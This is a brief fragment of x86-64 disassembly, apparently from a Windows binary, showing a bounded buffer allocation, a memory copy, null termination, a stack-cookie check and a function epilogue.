jne 0x14001f688
dec rdi
cmp rdi, 0xffff
jae 0x14001f6cb
lea rdx, [rdi + 1]
mov ecx, 1
call qword [fcn.140077ad0]
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x14001f6b5
mov rcx, qword [rbx + 8]
cmp rcx, qword [rbx]
jmp 0x14001f59a
mov rdx, qword [rbx]
mov r8, rdi
mov rcx, rax
call fcn.14002ad20
mov rax, qword [rbx + 0x10]
mov byte [rdi + rax], r15b
mov dword [r14 + 0x50], ebp
xor eax, eax
mov r15, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14006eb80
add rsp, 0x40
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret